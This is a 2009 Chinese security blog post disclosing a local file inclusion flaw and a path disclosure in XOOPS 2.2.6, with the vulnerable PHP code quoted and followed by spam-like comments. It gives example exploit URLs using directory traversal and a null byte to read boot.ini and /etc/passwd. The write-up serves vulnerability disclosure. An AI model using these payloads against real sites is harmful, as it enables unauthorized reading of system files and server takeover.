首页 > 技术文章 > XOOPS 2.2.6 鸡肋本地包含漏洞

XOOPS 2.2.6 鸡肋本地包含漏洞

2009年11月2日 发表评论 119 views 阅读评论

作者:Oldjun

不经意的遇到这个国外的CMS系统:XOOPS 2.2.6,google了下,版本比较老了,没发现有什么已知漏洞,于是下源码自己看,还是没发现有啥可以利用了,只不过看到了几个鸡肋,于是发出来。

XOOPS is a web application platform written in PHP for the MySQL database.Its object orientation makes it an ideal tool for developing small or large community websites, intra company and corporate portals, weblogs and much more. (Reference : http://www.xoops.org).

1.Local File Inclusion Vulnerabilities:

/*
works with:
magic_quotes_gpc = Off
*/

现在能遇到这个php配置的,简直可以去买彩票了,所以够鸡肋的。

Local File Include vulnerability found in scripts:
modules/system/admin.php

看源码:

<?php
if (isset($_POST['fct'])) {
$fct = trim($_POST['fct']);
}
if (isset($_GET['fct'])) {
$fct = trim($_GET['fct']);
}
$xoopsOption['pagetype'] = "admin";
include "../../mainfile.php";
//利用时需要注册用户并登陆
if (!$xoopsUser) {
redirect_header(XOOPS_URL."/user.php", 3, _AD_NORIGHT);
}
include XOOPS_ROOT_PATH."/include/cp_functions.php";

include_once XOOPS_ROOT_PATH."/modules/system/constants.php";
$error = false;
if (isset($fct) && $fct != '') {
if (file_exists(XOOPS_ROOT_PATH."/modules/system/admin/".$fct."/xoops_version.php")) {

if (file_exists(XOOPS_ROOT_PATH."/modules/system/language/".$xoopsConfig['language']."/admin/".$fct.".php")) {
include XOOPS_ROOT_PATH."/modules/system/language/".$xoopsConfig['language']."/admin/".$fct.".php";
} elseif (file_exists(XOOPS_ROOT_PATH."/modules/system/language/english/admin/".$fct.".php")) {
include XOOPS_ROOT_PATH."/modules/system/language/english/admin/".$fct.".php";
}
include XOOPS_ROOT_PATH."/modules/system/admin/".$fct."/xoops_version.php";
...
?>

If magic_quotes_gpc is disabled, it's possible to control the "$fct" variable content and inject an arbitrary filename (followed by a NULL byte (%00) to make file_exists() function ignore the
following "/xoops_version.php"), resulting in file content inclusion in application response.

构造fct,基本如果gpc为off,拿shell不成问题。

Example:

http://[server]/[installdir]/modules/system/admin.php?fct=../../../../../../../boot.ini%00

http://[server]/[installdir]/modules/system/admin.php?fct=../../../../../../../etc/passwd%00

2.路径泄露:

很多文件直接访问可以泄露路径:
/class/uploader.php
/class/theme.php

其实在gpc为off下,有第一个漏洞就可以拿下了,但gpc为off太难了,鸡肋鸡肋。

想说一下的是XOOPS系统整体还是很安全的,我看的这个版本已经够老的了,但安全却一点都没马虎,milw0rm上搜了下,XOOPS系统出问题的基本都是modules,各种模块可能有问题,但主系统却没~

相关文章

  1. 2009年11月2日20:36 | #1

    换友情链接么?记得回访哦!

  2. 2009年11月3日14:39 | #2

    博主的文采不错,大家有空多交流!

  3. 2009年11月6日17:16 | #3

    欢迎回访哦

  4. 2009年11月7日09:35 | #4

    过来支持一下

  5. 2009年11月7日15:30 | #5

    我换新域名了,换下新链接!

  6. 2009年11月9日20:03 | #6

    博客不错。。支持哦,多多交流

  7. 2009年11月11日10:05 | #7

    已经达到忘我的境界了,呵呵

  8. 2009年11月11日14:27 | #8

    站点喜欢不错哦。欢迎回访

  9. 2009年11月13日12:13 | #9

    最近有点忙,很久没有来看看了!

  1. 本文目前尚无任何 trackbacks 和 pingbacks.